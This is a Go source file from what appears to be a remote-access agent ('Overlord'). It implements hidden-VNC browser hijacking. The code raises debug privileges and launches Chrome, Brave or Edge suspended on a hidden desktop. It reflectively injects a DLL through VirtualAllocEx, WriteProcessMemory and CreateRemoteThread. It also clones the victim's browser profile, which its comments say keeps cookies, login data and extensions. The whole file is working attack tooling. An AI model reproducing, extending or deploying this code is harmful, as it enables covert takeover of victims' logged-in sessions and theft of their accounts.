Files
overlord/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
T
2026-03-11 23:11:44 -05:00

657 lines
19 KiB
Go

//go:build windows
package capture
import (
"encoding/binary"
"fmt"
"io"
"log"
"os"
"path/filepath"
"strings"
"syscall"
"time"
"unsafe"
)
var (
procOpenProcess = kernel32.NewProc("OpenProcess")
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread")
procWaitForSingleObject = kernel32.NewProc("WaitForSingleObject")
procCloseHandle = kernel32.NewProc("CloseHandle")
procResumeThread = kernel32.NewProc("ResumeThread")
procOpenProcessToken = advapi32.NewProc("OpenProcessToken")
procLookupPrivilegeValueW = advapi32.NewProc("LookupPrivilegeValueW")
procAdjustTokenPrivileges = advapi32.NewProc("AdjustTokenPrivileges")
)
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
const (
PROCESS_CREATE_THREAD = 0x0002
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_OPERATION = 0x0008
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_READ = 0x0010
PROCESS_ALL_ACCESS_INJ = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
INFINITE_WAIT = 0xFFFFFFFF
TOKEN_ADJUST_PRIVILEGES = 0x0020
TOKEN_QUERY = 0x0008
SE_PRIVILEGE_ENABLED = 0x00000002
CREATE_SUSPENDED = 0x00000004
CREATE_UNICODE_ENVIRONMENT = 0x00000400
IMAGE_DIRECTORY_ENTRY_EXPORT = 0
IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
)
// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
func enableDebugPrivilege() {
var hToken uintptr
currentProcess, _, _ := kernel32.NewProc("GetCurrentProcess").Call()
ret, _, _ := procOpenProcessToken.Call(currentProcess, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, uintptr(unsafe.Pointer(&hToken)))
if ret == 0 {
return
}
defer procCloseHandle.Call(hToken)
seDebug, _ := syscall.UTF16PtrFromString("SeDebugPrivilege")
type luid struct {
LowPart uint32
HighPart int32
}
type luidAndAttributes struct {
Luid luid
Attributes uint32
}
type tokenPrivileges struct {
PrivilegeCount uint32
Privileges luidAndAttributes
}
var tp tokenPrivileges
tp.PrivilegeCount = 1
tp.Privileges.Attributes = SE_PRIVILEGE_ENABLED
ret, _, _ = procLookupPrivilegeValueW.Call(0, uintptr(unsafe.Pointer(seDebug)), uintptr(unsafe.Pointer(&tp.Privileges.Luid)))
if ret == 0 {
return
}
procAdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tp)), 0, 0, 0)
}
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
// injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks.
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
if filePath == "" {
return fmt.Errorf("empty file path")
}
if len(dllBytes) == 0 {
return fmt.Errorf("empty DLL bytes")
}
result, err := executeHVNCTask(hvncTask{
kind: hvncTaskStartProcessInjected,
filePath: filePath,
dllBytes: dllBytes,
searchPath: searchPath,
replacePath: replacePath,
}, 30*time.Second)
if err != nil {
return err
}
return result.err
}
// StartHVNCBrowserInjected starts a browser on the HVNC desktop with injection.
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
// If clone is false, it starts the browser with injection but no path redirection.
// browser should be one of: "chrome", "brave", "edge".
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool) error {
info, ok := browserInfoMap[strings.ToLower(browser)]
if !ok {
return fmt.Errorf("unknown browser %q", browser)
}
if exePath == "" {
exePath = findBrowserExe(info)
if exePath == "" {
return fmt.Errorf("%s not found", info.name)
}
}
if !clone {
log.Printf("hvnc %s: starting without profile cloning", info.name)
return StartHVNCProcessInjected(exePath, dllBytes, "", "")
}
realUserData := getBrowserUserDataDir(info)
if realUserData == "" {
return fmt.Errorf("could not determine %s user data directory", info.name)
}
log.Printf("hvnc %s: real user data at %s", info.name, realUserData)
cloneDir, err := cloneBrowserProfile(info.name, realUserData)
if err != nil {
return fmt.Errorf("profile clone failed: %v", err)
}
log.Printf("hvnc %s: cloned profile to %s", info.name, cloneDir)
return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir)
}
// StartHVNCChromeInjected is kept for backward compatibility.
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true)
}
type browserInfo struct {
name string
exePaths []string // candidate exe locations (env vars expanded at runtime)
userData string // relative to LOCALAPPDATA (or APPDATA for Firefox)
useAppData bool // true = use APPDATA instead of LOCALAPPDATA
}
var browserInfoMap = map[string]browserInfo{
"chrome": {
name: "Chrome",
exePaths: []string{
`\Google\Chrome\Application\chrome.exe`,
},
userData: `Google\Chrome\User Data`,
},
"brave": {
name: "Brave",
exePaths: []string{
`\BraveSoftware\Brave-Browser\Application\brave.exe`,
},
userData: `BraveSoftware\Brave-Browser\User Data`,
},
"edge": {
name: "Edge",
exePaths: []string{
`\Microsoft\Edge\Application\msedge.exe`,
},
userData: `Microsoft\Edge\User Data`,
},
}
func findBrowserExe(info browserInfo) string {
roots := []string{
os.Getenv("ProgramFiles"),
os.Getenv("ProgramFiles(x86)"),
os.Getenv("LOCALAPPDATA"),
}
for _, root := range roots {
if root == "" {
continue
}
for _, suffix := range info.exePaths {
p := root + suffix
if _, err := os.Stat(p); err == nil {
return p
}
}
}
return ""
}
func getBrowserUserDataDir(info browserInfo) string {
base := os.Getenv("LOCALAPPDATA")
if info.useAppData {
base = os.Getenv("APPDATA")
}
if base == "" {
return ""
}
dir := filepath.Join(base, info.userData)
if fi, err := os.Stat(dir); err == nil && fi.IsDir() {
return dir
}
return ""
}
// cloneBrowserProfile clones the browser user data directory, skipping only
// large cache directories that aren't needed for a functional session.
// This preserves extensions, cookies, login data, local storage, etc.
func cloneBrowserProfile(browserName string, srcUserData string) (string, error) {
prefix := "hvnc_" + strings.ToLower(browserName) + "_"
// Remove any previous cloned profile directories so we always use fresh data
tmpDir := os.TempDir()
if old, err := os.ReadDir(tmpDir); err == nil {
for _, e := range old {
if strings.HasPrefix(e.Name(), prefix) && e.IsDir() {
p := filepath.Join(tmpDir, e.Name())
log.Printf("hvnc %s: removing old clone %s", browserName, p)
os.RemoveAll(p)
}
}
}
cloneBase := filepath.Join(tmpDir, prefix+fmt.Sprintf("%d", time.Now().UnixNano()))
if err := os.MkdirAll(cloneBase, 0700); err != nil {
return "", fmt.Errorf("mkdir clone: %v", err)
}
// Directories to skip — these are large caches that aren't needed
skipDirs := map[string]bool{
"cache": true,
"code cache": true,
"gpucache": true,
"service worker": true,
"crashpad": true,
"blob_storage": true,
"jumplisterrors": true,
"optimization_guide_prediction_model_downloads": true,
"segmentation_platform": true,
"commerce_local_db": true,
}
entries, err := os.ReadDir(srcUserData)
if err != nil {
return "", fmt.Errorf("read user data dir: %v", err)
}
for _, entry := range entries {
name := entry.Name()
src := filepath.Join(srcUserData, name)
dst := filepath.Join(cloneBase, name)
if entry.IsDir() {
// For profile directories (Default, Profile N), clone contents but skip caches inside
isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
if isProfile {
if err := cloneProfileDir(browserName, src, dst, skipDirs); err != nil {
log.Printf("hvnc %s: warning: could not clone profile %s: %v", browserName, name, err)
}
} else if !skipDirs[strings.ToLower(name)] {
// Top-level non-profile directories (e.g. "Crashpad" skip, but keep others)
if err := copyDir(src, dst); err != nil {
log.Printf("hvnc %s: warning: could not copy dir %s: %v", browserName, name, err)
}
}
} else {
// Top-level files (Local State, etc.)
if err := copyFile(src, dst); err != nil {
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
}
}
}
return cloneBase, nil
}
// cloneProfileDir copies a profile directory (e.g. Default/) skipping cache subdirs.
func cloneProfileDir(browserName, src, dst string, skipDirs map[string]bool) error {
if err := os.MkdirAll(dst, 0700); err != nil {
return err
}
entries, err := os.ReadDir(src)
if err != nil {
return err
}
for _, entry := range entries {
name := entry.Name()
s := filepath.Join(src, name)
d := filepath.Join(dst, name)
if entry.IsDir() {
if skipDirs[strings.ToLower(name)] {
continue
}
if err := copyDir(s, d); err != nil {
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
}
} else {
if err := copyFile(s, d); err != nil {
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
}
}
}
return nil
}
func copyFile(src, dst string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
return err
}
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}
func copyDir(src, dst string) error {
return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil // skip errors
}
rel, _ := filepath.Rel(src, path)
target := filepath.Join(dst, rel)
if info.IsDir() {
return os.MkdirAll(target, 0700)
}
return copyFile(path, target)
})
}
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error {
if filePath == "" {
return fmt.Errorf("empty file path")
}
if len(dllBytes) == 0 {
return fmt.Errorf("empty DLL bytes")
}
enableDebugPrivilege()
// Create the process suspended on the HVNC desktop
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath)
if err != nil {
return fmt.Errorf("failed to create suspended process: %v", err)
}
log.Printf("hvnc inject: created suspended process PID %d", pid)
// Inject the reflective DLL
if err := reflectiveInject(hProcess, dllBytes); err != nil {
procCloseHandle.Call(hProcess)
procCloseHandle.Call(hThread)
// Try to kill the process
terminateProcess(hProcess)
return fmt.Errorf("DLL injection failed: %v", err)
}
log.Printf("hvnc inject: DLL injected into PID %d", pid)
procCloseHandle.Call(hProcess)
// Resume the main thread
ret, _, _ := procResumeThread.Call(hThread)
if ret == 0xFFFFFFFF {
procCloseHandle.Call(hThread)
return fmt.Errorf("failed to resume thread")
}
procCloseHandle.Call(hThread)
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
return nil
}
func terminateProcess(hProcess uintptr) {
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
}
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) (hProcess, hThread uintptr, pid uint32, err error) {
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
if err != nil {
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
}
cmdLine, err := syscall.UTF16FromString(filePath + " --window-position=0,0")
if err != nil {
return 0, 0, 0, fmt.Errorf("failed to convert command line: %v", err)
}
var si startupInfo
var pi processInformation
si.cb = uint32(unsafe.Sizeof(si))
si.lpDesktop = desktopNamePtr
si.dwX = 0
si.dwY = 0
si.dwFlags = STARTF_USEPOSITION
envBlock, err := buildEnvironmentBlock(searchPath, replacePath)
if err != nil {
return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err)
}
ret, _, callErr := procCreateProcessW.Call(
0,
uintptr(unsafe.Pointer(&cmdLine[0])),
0,
0,
0,
uintptr(CREATE_SUSPENDED|CREATE_UNICODE_ENVIRONMENT),
uintptr(unsafe.Pointer(&envBlock[0])),
0,
uintptr(unsafe.Pointer(&si)),
uintptr(unsafe.Pointer(&pi)),
)
if ret == 0 {
if callErr != nil {
return 0, 0, 0, fmt.Errorf("CreateProcess failed: %v", callErr)
}
return 0, 0, 0, fmt.Errorf("CreateProcess failed")
}
return pi.hProcess, pi.hThread, pi.dwProcessId, nil
}
func buildEnvironmentBlock(searchPath, replacePath string) ([]uint16, error) {
envStrings := syscall.Environ()
envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath)
envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath)
var block []uint16
for _, s := range envStrings {
u, err := syscall.UTF16FromString(s)
if err != nil {
continue
}
block = append(block, u...)
}
block = append(block, 0)
return block, nil
}
func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
loaderOffset, err := findReflectiveLoaderOffset(dllBytes)
if err != nil {
return fmt.Errorf("failed to find ReflectiveLoader: %v", err)
}
log.Printf("hvnc inject: ReflectiveLoader at offset 0x%x", loaderOffset)
remoteBase, _, _ := procVirtualAllocEx.Call(
hProcess,
0,
uintptr(len(dllBytes)),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE,
)
if remoteBase == 0 {
return fmt.Errorf("VirtualAllocEx failed")
}
var bytesWritten uintptr
ret, _, _ := procWriteProcessMemory.Call(
hProcess,
remoteBase,
uintptr(unsafe.Pointer(&dllBytes[0])),
uintptr(len(dllBytes)),
uintptr(unsafe.Pointer(&bytesWritten)),
)
if ret == 0 {
return fmt.Errorf("WriteProcessMemory failed")
}
remoteLoader := remoteBase + uintptr(loaderOffset)
var threadID uintptr
hThread, _, _ := procCreateRemoteThread.Call(
hProcess,
0,
1024*1024,
remoteLoader,
0,
0,
uintptr(unsafe.Pointer(&threadID)),
)
if hThread == 0 {
return fmt.Errorf("CreateRemoteThread failed")
}
procWaitForSingleObject.Call(hThread, INFINITE_WAIT)
procCloseHandle.Call(hThread)
return nil
}
func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
if len(pe) < 64 {
return 0, fmt.Errorf("PE too small")
}
if pe[0] != 'M' || pe[1] != 'Z' {
return 0, fmt.Errorf("invalid DOS signature")
}
lfanew := binary.LittleEndian.Uint32(pe[60:64])
if int(lfanew)+4 > len(pe) {
return 0, fmt.Errorf("invalid e_lfanew")
}
sig := binary.LittleEndian.Uint32(pe[lfanew : lfanew+4])
if sig != 0x00004550 {
return 0, fmt.Errorf("invalid PE signature")
}
coffOff := lfanew + 4
if int(coffOff)+20 > len(pe) {
return 0, fmt.Errorf("PE too small for COFF header")
}
numberOfSections := binary.LittleEndian.Uint16(pe[coffOff+2 : coffOff+4])
sizeOfOptionalHeader := binary.LittleEndian.Uint16(pe[coffOff+16 : coffOff+18])
optOff := coffOff + 20
if int(optOff)+2 > len(pe) {
return 0, fmt.Errorf("PE too small for optional header")
}
magic := binary.LittleEndian.Uint16(pe[optOff : optOff+2])
var exportDirRVA uint32
switch magic {
case IMAGE_NT_OPTIONAL_HDR64_MAGIC:
ddOff := optOff + 112
if int(ddOff)+8 > len(pe) {
return 0, fmt.Errorf("PE too small for data directory")
}
exportDirRVA = binary.LittleEndian.Uint32(pe[ddOff : ddOff+4])
case IMAGE_NT_OPTIONAL_HDR32_MAGIC:
// PE32 - export directory is at offset 96 in optional header
ddOff := optOff + 96
if int(ddOff)+8 > len(pe) {
return 0, fmt.Errorf("PE too small for data directory")
}
exportDirRVA = binary.LittleEndian.Uint32(pe[ddOff : ddOff+4])
default:
return 0, fmt.Errorf("unsupported PE magic: 0x%x", magic)
}
if exportDirRVA == 0 {
return 0, fmt.Errorf("no export directory")
}
sectionOff := optOff + uint32(sizeOfOptionalHeader)
exportDirFileOff := rvaToFileOffset(exportDirRVA, pe, sectionOff, numberOfSections)
if exportDirFileOff == 0 {
return 0, fmt.Errorf("failed to resolve export directory RVA")
}
if int(exportDirFileOff)+40 > len(pe) {
return 0, fmt.Errorf("PE too small for export directory")
}
numberOfNames := binary.LittleEndian.Uint32(pe[exportDirFileOff+24 : exportDirFileOff+28])
addressOfFunctionsRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+28 : exportDirFileOff+32])
addressOfNamesRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+32 : exportDirFileOff+36])
addressOfNameOrdinalsRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+36 : exportDirFileOff+40])
namesOff := rvaToFileOffset(addressOfNamesRVA, pe, sectionOff, numberOfSections)
funcsOff := rvaToFileOffset(addressOfFunctionsRVA, pe, sectionOff, numberOfSections)
ordinalsOff := rvaToFileOffset(addressOfNameOrdinalsRVA, pe, sectionOff, numberOfSections)
if namesOff == 0 || funcsOff == 0 || ordinalsOff == 0 {
return 0, fmt.Errorf("failed to resolve export table RVAs")
}
for i := uint32(0); i < numberOfNames; i++ {
nameRVA := binary.LittleEndian.Uint32(pe[namesOff+i*4 : namesOff+i*4+4])
nameFileOff := rvaToFileOffset(nameRVA, pe, sectionOff, numberOfSections)
if nameFileOff == 0 {
continue
}
name := readCString(pe, nameFileOff)
if contains(name, "ReflectiveLoader") {
ordinal := binary.LittleEndian.Uint16(pe[ordinalsOff+i*2 : ordinalsOff+i*2+2])
funcRVA := binary.LittleEndian.Uint32(pe[funcsOff+uint32(ordinal)*4 : funcsOff+uint32(ordinal)*4+4])
return rvaToFileOffset(funcRVA, pe, sectionOff, numberOfSections), nil
}
}
return 0, fmt.Errorf("ReflectiveLoader export not found")
}
func rvaToFileOffset(rva uint32, pe []byte, sectionOff uint32, numSections uint16) uint32 {
for i := uint16(0); i < numSections; i++ {
off := sectionOff + uint32(i)*40
if int(off)+40 > len(pe) {
break
}
virtualSize := binary.LittleEndian.Uint32(pe[off+8 : off+12])
virtualAddr := binary.LittleEndian.Uint32(pe[off+12 : off+16])
rawDataSize := binary.LittleEndian.Uint32(pe[off+16 : off+20])
rawDataPtr := binary.LittleEndian.Uint32(pe[off+20 : off+24])
_ = virtualSize
if rva >= virtualAddr && rva < virtualAddr+rawDataSize {
return rva - virtualAddr + rawDataPtr
}
}
if numSections > 0 {
firstSectionRawPtr := binary.LittleEndian.Uint32(pe[sectionOff+20 : sectionOff+24])
if rva < firstSectionRawPtr {
return rva
}
}
return 0
}
func readCString(data []byte, offset uint32) string {
end := offset
for int(end) < len(data) && data[end] != 0 {
end++
}
return string(data[offset:end])
}
func contains(s, substr string) bool {
if len(substr) > len(s) {
return false
}
for i := 0; i <= len(s)-len(substr); i++ {
if s[i:i+len(substr)] == substr {
return true
}
}
return false
}